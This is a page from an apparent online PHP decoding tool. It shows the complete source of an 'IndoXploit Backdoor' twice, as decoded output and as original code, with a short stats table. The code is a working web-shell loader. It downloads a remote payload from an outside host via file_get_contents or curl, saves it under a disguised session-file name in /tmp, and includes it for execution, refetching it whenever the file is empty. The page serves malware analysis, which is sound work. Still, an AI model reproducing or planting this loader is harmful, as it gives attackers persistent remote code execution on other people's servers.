Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php # IndoXploit Backdoor # Bypass 406 Not Acceptable & Auto Delete Shell # Coded by:..
Decoded Output download
<?php
# IndoXploit Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell
# Coded by: L0c4lh34rtz - IndoXploit ifre IndoXploit
$URL = 'http://www.groovy-steel.com/upload/files/andela.txt'; # Backdoor URL
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
function M() {
$FGT = @file_get_contents($GLOBALS['URL']);
if(!$FGT) {
echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`;
} else {
$HANDLE = fopen($GLOBALS['TMP'], 'w');
fwrite($HANDLE, $FGT);
fclose($HANDLE);
}
echo '<script>window.location="?indoxploit";</script>';
}
if(file_exists($TMP)) {
if(filesize($TMP) === 0) {
unlink($TMP);
M();
} else {
include($TMP);
}
} else {
M();
}
?>
Did this file decode correctly?
Original Code
<?php
# IndoXploit Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell
# Coded by: L0c4lh34rtz - IndoXploit ifre IndoXploit
$URL = 'http://www.groovy-steel.com/upload/files/andela.txt'; # Backdoor URL
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
function M() {
$FGT = @file_get_contents($GLOBALS['URL']);
if(!$FGT) {
echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`;
} else {
$HANDLE = fopen($GLOBALS['TMP'], 'w');
fwrite($HANDLE, $FGT);
fclose($HANDLE);
}
echo '<script>window.location="?indoxploit";</script>';
}
if(file_exists($TMP)) {
if(filesize($TMP) === 0) {
unlink($TMP);
M();
} else {
include($TMP);
}
} else {
M();
}
?>
Function Calls
| None |
Stats
| MD5 | 5e228b27a387e5d47e694cdbe35eed28 |
| Eval Count | 0 |
| Decode Time | 88 ms |